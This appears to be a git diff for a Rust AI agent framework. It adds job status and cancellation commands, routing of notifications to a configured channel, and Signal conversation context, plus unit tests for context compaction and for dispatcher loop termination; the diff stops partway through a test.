"sha256": null
}
},
"auth_summary": {
"method": "manual",
"provider": "Brave",
"secrets": ["brave_api_key"],
"shared_auth": null,
"setup_url": "https://brave.com/search/api/"
},
"tags": ["default", "search"]
}
+53 -9
View File
@@ -138,6 +138,11 @@ impl Agent {
// Convenience accessors // Convenience accessors
/// Get the scheduler (for external wiring, e.g. CreateJobTool).
pub fn scheduler(&self) -> Arc<Scheduler> {
Arc::clone(&self.scheduler)
}
pub(super) fn store(&self) -> Option<&Arc<dyn Database>> { pub(super) fn store(&self) -> Option<&Arc<dyn Database>> {
self.deps.store.as_ref() self.deps.store.as_ref()
} }
@@ -413,7 +418,7 @@ impl Agent {
// Load initial event cache // Load initial event cache
engine.refresh_event_cache().await; engine.refresh_event_cache().await;
// Spawn notification forwarder // Spawn notification forwarder (mirrors heartbeat pattern)
let channels = self.channels.clone(); let channels = self.channels.clone();
tokio::spawn(async move { tokio::spawn(async move {
while let Some(response) = notify_rx.recv().await { while let Some(response) = notify_rx.recv().await {
@@ -423,14 +428,33 @@ impl Agent {
.and_then(|v| v.as_str()) .and_then(|v| v.as_str())
.unwrap_or("default") .unwrap_or("default")
.to_string(); .to_string();
let results = channels.broadcast_all(&user, response).await; let notify_channel = response
for (ch, result) in results { .metadata
if let Err(e) = result { .get("notify_channel")
tracing::warn!( .and_then(|v| v.as_str())
"Failed to broadcast routine notification to {}: {}", .map(|s| s.to_string());
ch,
e // Try the configured channel first, fall back to
); // broadcasting on all channels.
let targeted_ok = if let Some(ref channel) = notify_channel {
channels
.broadcast(channel, &user, response.clone())
.await
.is_ok()
} else {
false
};
if !targeted_ok {
let results = channels.broadcast_all(&user, response).await;
for (ch, result) in results {
if let Err(e) = result {
tracing::warn!(
"Failed to broadcast routine notification to {}: {}",
ch,
e
);
}
} }
} }
} }
@@ -588,6 +612,19 @@ impl Agent {
} }
async fn handle_message(&self, message: &IncomingMessage) -> Result<Option<String>, Error> { async fn handle_message(&self, message: &IncomingMessage) -> Result<Option<String>, Error> {
// Set message tool context for this turn (current channel and target)
// For Signal, use signal_target from metadata (group:ID or phone number),
// otherwise fall back to user_id
let target = message
.metadata
.get("signal_target")
.and_then(|v| v.as_str())
.map(|s| s.to_string())
.unwrap_or_else(|| message.user_id.clone());
self.tools()
.set_message_tool_context(Some(message.channel.clone()), Some(target))
.await;
// Parse submission type first // Parse submission type first
let mut submission = SubmissionParser::parse(&message.content); let mut submission = SubmissionParser::parse(&message.content);
@@ -685,6 +722,13 @@ impl Agent {
Submission::Heartbeat => self.process_heartbeat().await, Submission::Heartbeat => self.process_heartbeat().await,
Submission::Summarize => self.process_summarize(session, thread_id).await, Submission::Summarize => self.process_summarize(session, thread_id).await,
Submission::Suggest => self.process_suggest(session, thread_id).await, Submission::Suggest => self.process_suggest(session, thread_id).await,
Submission::JobStatus { job_id } => {
self.process_job_status(&message.user_id, job_id.as_deref())
.await
}
Submission::JobCancel { job_id } => {
self.process_job_cancel(&message.user_id, &job_id).await
}
Submission::Quit => return Ok(None), Submission::Quit => return Ok(None),
Submission::SwitchThread { thread_id: target } => { Submission::SwitchThread { thread_id: target } => {
self.process_switch_thread(message, target).await self.process_switch_thread(message, target).await
+116 -7
View File
@@ -12,6 +12,7 @@ use crate::agent::session::Session;
use crate::agent::submission::SubmissionResult; use crate::agent::submission::SubmissionResult;
use crate::agent::{Agent, MessageIntent}; use crate::agent::{Agent, MessageIntent};
use crate::channels::{IncomingMessage, StatusUpdate}; use crate::channels::{IncomingMessage, StatusUpdate};
use crate::context::JobState;
use crate::error::Error; use crate::error::Error;
use crate::llm::{ChatMessage, Reasoning}; use crate::llm::{ChatMessage, Reasoning};
@@ -117,6 +118,22 @@ impl Agent {
let uuid = Uuid::parse_str(&id) let uuid = Uuid::parse_str(&id)
.map_err(|_| crate::error::JobError::NotFound { id: Uuid::nil() })?; .map_err(|_| crate::error::JobError::NotFound { id: Uuid::nil() })?;
// Try DB first for persistent state, fall back to ContextManager.
if let Some(store) = self.store()
&& let Ok(Some(ctx)) = store.get_job(uuid).await
{
return Ok(format!(
"Job: {}\nStatus: {:?}\nCreated: {}\nStarted: {}\nActual cost: {}",
ctx.title,
ctx.state,
ctx.created_at.format("%Y-%m-%d %H:%M:%S"),
ctx.started_at
.map(|t| t.format("%Y-%m-%d %H:%M:%S").to_string())
.unwrap_or_else(|| "Not started".to_string()),
ctx.actual_cost
));
}
let ctx = self.context_manager.get_context(uuid).await?; let ctx = self.context_manager.get_context(uuid).await?;
if ctx.user_id != user_id { if ctx.user_id != user_id {
return Err(crate::error::JobError::NotFound { id: uuid }.into()); return Err(crate::error::JobError::NotFound { id: uuid }.into());
@@ -134,10 +151,38 @@ impl Agent {
)) ))
} }
None => { None => {
// Show summary of all jobs // Show summary from DB for consistency with Jobs tab.
if let Some(store) = self.store() {
let mut total = 0;
let mut in_progress = 0;
let mut completed = 0;
let mut failed = 0;
let mut stuck = 0;
if let Ok(s) = store.agent_job_summary().await {
total += s.total;
in_progress += s.in_progress;
completed += s.completed;
failed += s.failed;
stuck += s.stuck;
}
if let Ok(s) = store.sandbox_job_summary().await {
total += s.total;
in_progress += s.running;
completed += s.completed;
failed += s.failed + s.interrupted;
}
return Ok(format!(
"Jobs summary: Total: {} In Progress: {} Completed: {} Failed: {} Stuck: {}",
total, in_progress, completed, failed, stuck
));
}
// Fallback to ContextManager if no DB.
let summary = self.context_manager.summary_for(user_id).await; let summary = self.context_manager.summary_for(user_id).await;
Ok(format!( Ok(format!(
"Jobs summary:\n Total: {}\n In Progress: {}\n Completed: {}\n Failed: {}\n Stuck: {}", "Jobs summary: Total: {} In Progress: {} Completed: {} Failed: {} Stuck: {}",
summary.total, summary.total,
summary.in_progress, summary.in_progress,
summary.completed, summary.completed,
@@ -159,6 +204,15 @@ impl Agent {
self.scheduler.stop(uuid).await?; self.scheduler.stop(uuid).await?;
// Also update DB so the Jobs tab reflects cancellation immediately.
if let Some(store) = self.store()
&& let Err(e) = store
.update_job_status(uuid, JobState::Cancelled, Some("Cancelled by user"))
.await
{
tracing::warn!(job_id = %uuid, "Failed to persist cancellation to DB: {}", e);
}
Ok(format!("Job {} has been cancelled.", job_id)) Ok(format!("Job {} has been cancelled.", job_id))
} }
@@ -167,21 +221,49 @@ impl Agent {
user_id: &str, user_id: &str,
_filter: Option<String>, _filter: Option<String>,
) -> Result<String, Error> { ) -> Result<String, Error> {
let jobs = self.context_manager.all_jobs_for(user_id).await; // List from DB for consistency with Jobs tab.
if let Some(store) = self.store() {
let agent_jobs = match store.list_agent_jobs().await {
Ok(jobs) => jobs,
Err(e) => {
tracing::warn!("Failed to list agent jobs: {}", e);
Vec::new()
}
};
let sandbox_jobs = match store.list_sandbox_jobs().await {
Ok(jobs) => jobs,
Err(e) => {
tracing::warn!("Failed to list sandbox jobs: {}", e);
Vec::new()
}
};
if agent_jobs.is_empty() && sandbox_jobs.is_empty() {
return Ok("No jobs found.".to_string());
}
let mut output = String::from("Jobs:\n");
for j in &agent_jobs {
output.push_str(&format!(" {} - {} ({})\n", j.id, j.title, j.status));
}
for j in &sandbox_jobs {
output.push_str(&format!(" {} - {} ({})\n", j.id, j.task, j.status));
}
return Ok(output);
}
// Fallback to ContextManager if no DB.
let jobs = self.context_manager.all_jobs_for(user_id).await;
if jobs.is_empty() { if jobs.is_empty() {
return Ok("No jobs found.".to_string()); return Ok("No jobs found.".to_string());
} }
let mut output = String::from("Jobs:\n"); let mut output = String::from("Jobs:\n");
for job_id in jobs { for job_id in jobs {
if let Ok(ctx) = self.context_manager.get_context(job_id).await if let Ok(ctx) = self.context_manager.get_context(job_id).await {
&& ctx.user_id == user_id
{
output.push_str(&format!(" {} - {} ({:?})\n", job_id, ctx.title, ctx.state)); output.push_str(&format!(" {} - {} ({:?})\n", job_id, ctx.title, ctx.state));
} }
} }
Ok(output) Ok(output)
} }
@@ -220,6 +302,33 @@ impl Agent {
} }
} }
/// Show job status inline — either all jobs (no id) or a specific job.
pub(super) async fn process_job_status(
&self,
user_id: &str,
job_id: Option<&str>,
) -> Result<SubmissionResult, Error> {
match self
.handle_check_status(user_id, job_id.map(|s| s.to_string()))
.await
{
Ok(text) => Ok(SubmissionResult::response(text)),
Err(e) => Ok(SubmissionResult::error(format!("Job status error: {}", e))),
}
}
/// Cancel a job by ID.
pub(super) async fn process_job_cancel(
&self,
user_id: &str,
job_id: &str,
) -> Result<SubmissionResult, Error> {
match self.handle_cancel_job(user_id, job_id).await {
Ok(text) => Ok(SubmissionResult::response(text)),
Err(e) => Ok(SubmissionResult::error(format!("Cancel error: {}", e))),
}
}
/// Trigger a manual heartbeat check. /// Trigger a manual heartbeat check.
pub(super) async fn process_heartbeat(&self) -> Result<SubmissionResult, Error> { pub(super) async fn process_heartbeat(&self) -> Result<SubmissionResult, Error> {
let Some(workspace) = self.workspace() else { let Some(workspace) = self.workspace() else {
+478
View File
@@ -342,4 +342,482 @@ mod tests {
assert_eq!(partial.turns_removed, 0); assert_eq!(partial.turns_removed, 0);
assert!(!partial.summary_written); assert!(!partial.summary_written);
} }
// === QA Plan - Compaction strategy tests ===
use crate::agent::context_monitor::CompactionStrategy;
use crate::config::SafetyConfig;
use crate::safety::SafetyLayer;
use crate::testing::StubLlm;
/// Helper: build a `ContextCompactor` with the given `StubLlm`.
fn make_compactor(llm: Arc<StubLlm>) -> ContextCompactor {
let safety = Arc::new(SafetyLayer::new(&SafetyConfig {
max_output_length: 100_000,
injection_check_enabled: false,
}));
ContextCompactor::new(llm, safety)
}
/// Helper: build a thread with `n` completed turns.
/// Turn `i` has user_input "msg-{i}" and response "resp-{i}".
fn make_thread(n: usize) -> Thread {
let mut thread = Thread::new(Uuid::new_v4());
for i in 0..n {
thread.start_turn(format!("msg-{}", i));
thread.complete_turn(format!("resp-{}", i));
}
thread
}
// ------------------------------------------------------------------
// 1. compact_truncate keeps last N turns
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_truncate_keeps_last_n() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(10);
assert_eq!(thread.turns.len(), 10);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 3 },
None,
)
.await
.expect("compact should succeed");
// Only 3 turns remain
assert_eq!(thread.turns.len(), 3);
// They are the most recent ones (msg-7, msg-8, msg-9)
assert_eq!(thread.turns[0].user_input, "msg-7");
assert_eq!(thread.turns[1].user_input, "msg-8");
assert_eq!(thread.turns[2].user_input, "msg-9");
// Turn numbers are re-indexed to 0, 1, 2
assert_eq!(thread.turns[0].turn_number, 0);
assert_eq!(thread.turns[1].turn_number, 1);
assert_eq!(thread.turns[2].turn_number, 2);
// Result metadata
assert_eq!(result.turns_removed, 7);
assert!(!result.summary_written);
assert!(result.summary.is_none());
// Tokens should be reported (before > 0 since we had content)
assert!(result.tokens_before > 0);
assert!(result.tokens_after > 0);
assert!(result.tokens_before > result.tokens_after);
}
// ------------------------------------------------------------------
// 2. compact_truncate with fewer turns than limit (no-op)
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_truncate_with_fewer_turns_than_limit() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(2);
let original_inputs: Vec<String> =
thread.turns.iter().map(|t| t.user_input.clone()).collect();
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 5 },
None,
)
.await
.expect("compact should succeed");
// All turns preserved
assert_eq!(thread.turns.len(), 2);
assert_eq!(thread.turns[0].user_input, original_inputs[0]);
assert_eq!(thread.turns[1].user_input, original_inputs[1]);
// No turns removed
assert_eq!(result.turns_removed, 0);
assert!(!result.summary_written);
assert!(result.summary.is_none());
}
// ------------------------------------------------------------------
// 3. compact_truncate with empty turns list
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_truncate_empty_turns() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = Thread::new(Uuid::new_v4());
assert!(thread.turns.is_empty());
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 3 },
None,
)
.await
.expect("compact should succeed on empty turns");
assert!(thread.turns.is_empty());
assert_eq!(result.turns_removed, 0);
assert_eq!(result.tokens_before, 0);
assert_eq!(result.tokens_after, 0);
}
// ------------------------------------------------------------------
// 4. compact_with_summary produces summary turn via StubLlm
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_with_summary_produces_summary_turn() {
let canned_summary =
"- User greeted the agent\n- Agent responded warmly\n- Five exchanges completed";
let llm = Arc::new(StubLlm::new(canned_summary));
let compactor = make_compactor(llm.clone());
let mut thread = make_thread(5);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Summarize { keep_recent: 2 },
None,
)
.await
.expect("compact with summary should succeed");
// Should keep only 2 recent turns
assert_eq!(thread.turns.len(), 2);
// The kept turns should be the last two (msg-3, msg-4)
assert_eq!(thread.turns[0].user_input, "msg-3");
assert_eq!(thread.turns[1].user_input, "msg-4");
// Result should report the summary
assert_eq!(result.turns_removed, 3);
assert!(result.summary.is_some());
let summary = result.summary.unwrap();
assert!(summary.contains("User greeted the agent"));
assert!(summary.contains("Five exchanges completed"));
// summary_written should be false since no workspace was provided
assert!(!result.summary_written);
// StubLlm should have been called exactly once for the summary
assert_eq!(llm.calls(), 1);
}
// ------------------------------------------------------------------
// 5. compact_with_summary: LLM failure returns error (does not corrupt thread)
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_with_summary_llm_failure() {
let llm = Arc::new(StubLlm::failing("broken-llm"));
let compactor = make_compactor(llm.clone());
let mut thread = make_thread(8);
let original_len = thread.turns.len();
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Summarize { keep_recent: 3 },
None,
)
.await;
// The LLM failure should propagate as an error
assert!(result.is_err());
// The thread should NOT have been modified (turns not truncated
// on failure, since the error occurs before truncation)
assert_eq!(thread.turns.len(), original_len);
}
// ------------------------------------------------------------------
// 6. compact_with_summary: fewer turns than keep_recent is a no-op
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_with_summary_fewer_turns_than_keep() {
let llm = Arc::new(StubLlm::new("should not be called"));
let compactor = make_compactor(llm.clone());
let mut thread = make_thread(3);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Summarize { keep_recent: 5 },
None,
)
.await
.expect("compact should succeed");
// No turns removed, LLM never called
assert_eq!(thread.turns.len(), 3);
assert_eq!(result.turns_removed, 0);
assert!(result.summary.is_none());
assert_eq!(llm.calls(), 0);
}
// ------------------------------------------------------------------
// 7. compact_to_workspace without workspace falls back to truncation
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_to_workspace_without_workspace_falls_back() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(20);
let result = compactor
.compact(&mut thread, CompactionStrategy::MoveToWorkspace, None)
.await
.expect("compact should succeed");
// Without a workspace, compact_to_workspace falls back to truncation
// keeping 5 turns (the hardcoded fallback in the code)
assert_eq!(thread.turns.len(), 5);
assert_eq!(result.turns_removed, 15);
// The remaining turns should be the last 5
assert_eq!(thread.turns[0].user_input, "msg-15");
assert_eq!(thread.turns[4].user_input, "msg-19");
}
// ------------------------------------------------------------------
// 8. compact_to_workspace: fewer turns than keep is a no-op
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_to_workspace_fewer_turns_noop() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
// MoveToWorkspace keeps 10 turns when workspace is available.
// Without workspace it falls back to truncate(5).
// With fewer turns, test the no-workspace fallback path:
let mut thread = make_thread(4);
let result = compactor
.compact(&mut thread, CompactionStrategy::MoveToWorkspace, None)
.await
.expect("compact should succeed");
// 4 turns < 5 (fallback keep_recent), so no truncation
assert_eq!(thread.turns.len(), 4);
assert_eq!(result.turns_removed, 0);
}
// ------------------------------------------------------------------
// 9. format_turns_for_storage includes tool calls
// ------------------------------------------------------------------
#[test]
fn test_format_turns_for_storage_with_tool_calls() {
let mut thread = Thread::new(Uuid::new_v4());
thread.start_turn("Search for X");
// Record a tool call on the current turn
if let Some(turn) = thread.turns.last_mut() {
turn.record_tool_call("search", serde_json::json!({"query": "X"}));
}
thread.complete_turn("Found X");
let formatted = format_turns_for_storage(&thread.turns);
assert!(formatted.contains("Turn 1"));
assert!(formatted.contains("Search for X"));
assert!(formatted.contains("Found X"));
assert!(formatted.contains("Tools: search"));
}
// ------------------------------------------------------------------
// 10. format_turns_for_storage with no response (incomplete turn)
// ------------------------------------------------------------------
#[test]
fn test_format_turns_for_storage_incomplete_turn() {
let mut thread = Thread::new(Uuid::new_v4());
thread.start_turn("In progress message");
// Don't complete the turn
let formatted = format_turns_for_storage(&thread.turns);
assert!(formatted.contains("Turn 1"));
assert!(formatted.contains("In progress message"));
// No "Agent:" line since response is None
assert!(!formatted.contains("Agent:"));
}
// ------------------------------------------------------------------
// 11. format_turns_for_storage empty list
// ------------------------------------------------------------------
#[test]
fn test_format_turns_for_storage_empty() {
let formatted = format_turns_for_storage(&[]);
assert!(formatted.is_empty());
}
// ------------------------------------------------------------------
// 12. Token counts decrease after truncation
// ------------------------------------------------------------------
#[tokio::test]
async fn test_tokens_decrease_after_compaction() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(20);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 5 },
None,
)
.await
.expect("compact should succeed");
assert!(
result.tokens_after < result.tokens_before,
"tokens_after ({}) should be less than tokens_before ({})",
result.tokens_after,
result.tokens_before
);
}
// ------------------------------------------------------------------
// 13. compact_with_summary: keep_recent=0 removes all turns
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_truncate_keep_zero() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(5);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 0 },
None,
)
.await
.expect("compact should succeed");
assert!(thread.turns.is_empty());
assert_eq!(result.turns_removed, 5);
assert_eq!(result.tokens_after, 0);
}
// ------------------------------------------------------------------
// 14. Summarize with keep_recent=0 summarizes all and removes all
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_with_summary_keep_zero() {
let llm = Arc::new(StubLlm::new("Summary of all turns"));
let compactor = make_compactor(llm.clone());
let mut thread = make_thread(5);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Summarize { keep_recent: 0 },
None,
)
.await
.expect("compact should succeed");
assert!(thread.turns.is_empty());
assert_eq!(result.turns_removed, 5);
assert!(result.summary.is_some());
assert_eq!(result.summary.unwrap(), "Summary of all turns");
assert_eq!(llm.calls(), 1);
}
// ------------------------------------------------------------------
// 15. Messages are correctly built from turns for thread.messages()
// after compaction
// ------------------------------------------------------------------
#[tokio::test]
async fn test_messages_coherent_after_compaction() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(10);
compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 3 },
None,
)
.await
.expect("compact should succeed");
let messages = thread.messages();
// 3 turns * 2 messages each (user + assistant) = 6
assert_eq!(messages.len(), 6);
// Verify alternating user/assistant pattern
for (i, msg) in messages.iter().enumerate() {
if i % 2 == 0 {
assert_eq!(msg.role, crate::llm::Role::User);
} else {
assert_eq!(msg.role, crate::llm::Role::Assistant);
}
}
// Verify content matches the last 3 original turns
assert_eq!(messages[0].content, "msg-7");
assert_eq!(messages[1].content, "resp-7");
assert_eq!(messages[4].content, "msg-9");
assert_eq!(messages[5].content, "resp-9");
}
// ------------------------------------------------------------------
// 16. Multiple sequential compactions work correctly
// ------------------------------------------------------------------
#[tokio::test]
async fn test_sequential_compactions() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(20);
// First compaction: 20 -> 10
let r1 = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 10 },
None,
)
.await
.expect("first compact");
assert_eq!(thread.turns.len(), 10);
assert_eq!(r1.turns_removed, 10);
// Second compaction: 10 -> 3
let r2 = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 3 },
None,
)
.await
.expect("second compact");
assert_eq!(thread.turns.len(), 3);
assert_eq!(r2.turns_removed, 7);
// The remaining turns should be the very last 3 from the original 20
assert_eq!(thread.turns[0].user_input, "msg-17");
assert_eq!(thread.turns[1].user_input, "msg-18");
assert_eq!(thread.turns[2].user_input, "msg-19");
}
} }
+474
View File
@@ -106,6 +106,15 @@ impl Agent {
.with_channel(message.channel.clone()) .with_channel(message.channel.clone())
.with_model_name(self.llm().active_model_name()) .with_model_name(self.llm().active_model_name())
.with_group_chat(is_group_chat); .with_group_chat(is_group_chat);
// Pass channel-specific conversation context to the LLM.
// This helps the agent know who/group it's talking to.
if let Some(channel) = self.channels.get_channel(&message.channel).await {
for (key, value) in channel.conversation_context(&message.metadata) {
reasoning = reasoning.with_conversation_data(&key, &value);
}
}
if let Some(prompt) = system_prompt { if let Some(prompt) = system_prompt {
reasoning = reasoning.with_system_prompt(prompt); reasoning = reasoning.with_system_prompt(prompt);
} }
@@ -1425,4 +1434,469 @@ mod tests {
.count(); .count();
assert_eq!(nudge_count, 1); assert_eq!(nudge_count, 1);
} }
// === QA Plan P2 - 2.7: Context length recovery ===
#[tokio::test]
async fn test_context_length_recovery_via_compaction_and_retry() {
// Simulates the dispatcher's recovery path:
// 1. Provider returns ContextLengthExceeded
// 2. compact_messages_for_retry reduces context
// 3. Retry with compacted messages succeeds
use crate::llm::Reasoning;
use crate::testing::StubLlm;
let stub = Arc::new(StubLlm::failing_non_transient("ctx-bomb"));
let safety = Arc::new(SafetyLayer::new(&SafetyConfig {
max_output_length: 100_000,
injection_check_enabled: false,
}));
let reasoning = Reasoning::new(stub.clone(), safety);
// Build a fat context with lots of history.
let messages = vec![
ChatMessage::system("You are a helpful assistant."),
ChatMessage::user("First question"),
ChatMessage::assistant("First answer"),
ChatMessage::user("Second question"),
ChatMessage::assistant("Second answer"),
ChatMessage::user("Third question"),
ChatMessage::assistant("Third answer"),
ChatMessage::user("Current request"),
];
let context = crate::llm::ReasoningContext::new().with_messages(messages.clone());
// Step 1: First call fails with ContextLengthExceeded.
let err = reasoning.respond_with_tools(&context).await.unwrap_err();
assert!(
matches!(err, crate::error::LlmError::ContextLengthExceeded { .. }),
"Expected ContextLengthExceeded, got: {:?}",
err
);
assert_eq!(stub.calls(), 1);
// Step 2: Compact messages (same as dispatcher lines 226).
let compacted = compact_messages_for_retry(&messages);
// Should have dropped the old history, kept system + note + last user.
assert!(compacted.len() < messages.len());
assert_eq!(compacted.last().unwrap().content, "Current request");
// Step 3: Switch provider to success and retry.
stub.set_failing(false);
let retry_context = crate::llm::ReasoningContext::new().with_messages(compacted);
let result = reasoning.respond_with_tools(&retry_context).await;
assert!(result.is_ok(), "Retry after compaction should succeed");
assert_eq!(stub.calls(), 2);
}
// === QA Plan P2 - 4.3: Dispatcher loop guard tests ===
/// LLM provider that always returns tool calls when tools are available,
/// and text when tools are empty (simulating force_text stripping tools).
struct AlwaysToolCallProvider;
#[async_trait]
impl LlmProvider for AlwaysToolCallProvider {
fn model_name(&self) -> &str {
"always-tool-call"
}
fn cost_per_token(&self) -> (Decimal, Decimal) {
(Decimal::ZERO, Decimal::ZERO)
}
async fn complete(
&self,
_request: CompletionRequest,
) -> Result<CompletionResponse, crate::error::LlmError> {
Ok(CompletionResponse {
content: "forced text response".to_string(),
input_tokens: 0,
output_tokens: 5,
finish_reason: FinishReason::Stop,
})
}
async fn complete_with_tools(
&self,
request: ToolCompletionRequest,
) -> Result<ToolCompletionResponse, crate::error::LlmError> {
if request.tools.is_empty() {
// No tools = force_text mode; return text.
return Ok(ToolCompletionResponse {
content: Some("forced text response".to_string()),
tool_calls: Vec::new(),
input_tokens: 0,
output_tokens: 5,
finish_reason: FinishReason::Stop,
});
}
// Tools available: always call one.
Ok(ToolCompletionResponse {
content: None,
tool_calls: vec![ToolCall {
id: format!("call_{}", uuid::Uuid::new_v4()),
name: "echo".to_string(),
arguments: serde_json::json!({"message": "looping"}),
}],
input_tokens: 0,
output_tokens: 5,
finish_reason: FinishReason::ToolUse,
})
}
}
#[tokio::test]
async fn force_text_prevents_infinite_tool_call_loop() {
// Verify that Reasoning with force_text=true returns text even when
// the provider would normally return tool calls.
use crate::llm::{Reasoning, ReasoningContext, RespondResult, ToolDefinition};
let provider = Arc::new(AlwaysToolCallProvider);
let safety = Arc::new(SafetyLayer::new(&SafetyConfig {
max_output_length: 100_000,
injection_check_enabled: false,
}));
let reasoning = Reasoning::new(provider, safety);
let tool_def = ToolDefinition {
name: "echo".to_string(),
description: "Echo a message".to_string(),
parameters: serde_json::json!({"type": "object", "properties": {"message": {"type": "string"}}}),
};
// Without force_text: provider returns tool calls.
let ctx_normal = ReasoningContext::new()
.with_messages(vec![ChatMessage::user("hello")])
.with_tools(vec![tool_def.clone()]);
let output = reasoning.respond_with_tools(&ctx_normal).await.unwrap();
assert!(
matches!(output.result, RespondResult::ToolCalls { .. }),
"Without force_text, should get tool calls"
);
// With force_text: provider must return text (tools stripped).
let mut ctx_forced = ReasoningContext::new()
.with_messages(vec![ChatMessage::user("hello")])
.with_tools(vec![tool_def]);
ctx_forced.force_text = true;
let output = reasoning.respond_with_tools(&ctx_forced).await.unwrap();
assert!(
matches!(output.result, RespondResult::Text(_)),
"With force_text, should get text response, got: {:?}",
output.result
);
}
#[test]
fn iteration_bounds_guarantee_termination() {
// Verify the arithmetic that guards against infinite loops:
// force_text_at = max_tool_iterations
// nudge_at = max_tool_iterations - 1
// hard_ceiling = max_tool_iterations + 1
for max_iter in [1_usize, 2, 5, 10, 50] {
let force_text_at = max_iter;
let nudge_at = max_iter.saturating_sub(1);
let hard_ceiling = max_iter + 1;
// force_text_at must be reachable (> 0)
assert!(
force_text_at > 0,
"force_text_at must be > 0 for max_iter={max_iter}"
);
// nudge comes before or at the same time as force_text
assert!(
nudge_at <= force_text_at,
"nudge_at ({nudge_at}) > force_text_at ({force_text_at})"
);
// hard ceiling is strictly after force_text
assert!(
hard_ceiling > force_text_at,
"hard_ceiling ({hard_ceiling}) not > force_text_at ({force_text_at})"
);
// Simulate iteration: every iteration from 1..=hard_ceiling
// At force_text_at, force_text=true (should produce text and break).
// At hard_ceiling, the error fires (safety net).
let mut hit_force_text = false;
let mut hit_ceiling = false;
for iteration in 1..=hard_ceiling {
if iteration >= force_text_at {
hit_force_text = true;
}
if iteration > max_iter + 1 {
hit_ceiling = true;
}
}
assert!(
hit_force_text,
"force_text never triggered for max_iter={max_iter}"
);
// The ceiling should only fire if force_text somehow didn't break
assert!(
hit_ceiling || hard_ceiling <= max_iter + 1,
"ceiling logic inconsistent for max_iter={max_iter}"
);
}
}
/// LLM provider that always returns calls to a nonexistent tool, regardless
/// of whether tools are available. When tools are stripped (force_text), it
/// returns text.
struct FailingToolCallProvider;
#[async_trait]
impl LlmProvider for FailingToolCallProvider {
fn model_name(&self) -> &str {
"failing-tool-call"
}
fn cost_per_token(&self) -> (Decimal, Decimal) {
(Decimal::ZERO, Decimal::ZERO)
}
async fn complete(
&self,
_request: CompletionRequest,
) -> Result<CompletionResponse, crate::error::LlmError> {
Ok(CompletionResponse {
content: "forced text".to_string(),
input_tokens: 0,
output_tokens: 2,
finish_reason: FinishReason::Stop,
})
}
async fn complete_with_tools(
&self,
request: ToolCompletionRequest,
) -> Result<ToolCompletionResponse, crate::error::LlmError> {
if request.tools.is_empty() {
return Ok(ToolCompletionResponse {
content: Some("forced text".to_string()),
tool_calls: Vec::new(),
input_tokens: 0,
output_tokens: 2,
finish_reason: FinishReason::Stop,
});
}
// Always call a tool that does not exist in the registry.
Ok(ToolCompletionResponse {
content: None,
tool_calls: vec![ToolCall {
id: format!("call_{}", uuid::Uuid::new_v4()),
name: "nonexistent_tool".to_string(),
arguments: serde_json::json!({}),
}],
input_tokens: 0,
output_tokens: 5,
finish_reason: FinishReason::ToolUse,
})
}
}
/// Helper to build a test Agent with a custom LLM provider and
/// `max_tool_iterations` override.
fn make_test_agent_with_llm(llm: Arc<dyn LlmProvider>, max_tool_iterations: usize) -> Agent {
let deps = AgentDeps {
store: None,
llm,
cheap_llm: None,
safety: Arc::new(SafetyLayer::new(&SafetyConfig {
max_output_length: 100_000,
injection_check_enabled: false,
})),
tools: Arc::new(ToolRegistry::new()),
workspace: None,
extension_manager: None,
skill_registry: None,
skill_catalog: None,
skills_config: SkillsConfig::default(),
hooks: Arc::new(HookRegistry::new()),
cost_guard: Arc::new(CostGuard::new(CostGuardConfig::default())),
};
Agent::new(
AgentConfig {
name: "test-agent".to_string(),
max_parallel_jobs: 1,
job_timeout: Duration::from_secs(60),
stuck_threshold: Duration::from_secs(60),
repair_check_interval: Duration::from_secs(30),
max_repair_attempts: 1,
use_planning: false,
session_idle_timeout: Duration::from_secs(300),
allow_local_tools: false,
max_cost_per_day_cents: None,
max_actions_per_hour: None,
max_tool_iterations,
auto_approve_tools: true,
},
deps,
Arc::new(ChannelManager::new()),
None,
None,
None,
Some(Arc::new(ContextManager::new(1))),
None,
)
}
/// Regression test for the infinite loop bug (PR #252) where `continue`
/// skipped the index increment. When every tool call fails (e.g., tool not
/// found), the dispatcher must still advance through all calls and
/// eventually terminate via the force_text / max_iterations guard.
#[tokio::test]
async fn test_dispatcher_terminates_with_all_tool_calls_failing() {
use crate::agent::session::Session;
use crate::channels::IncomingMessage;
use crate::llm::ChatMessage;
use tokio::sync::Mutex;
let agent = make_test_agent_with_llm(Arc::new(FailingToolCallProvider), 5);
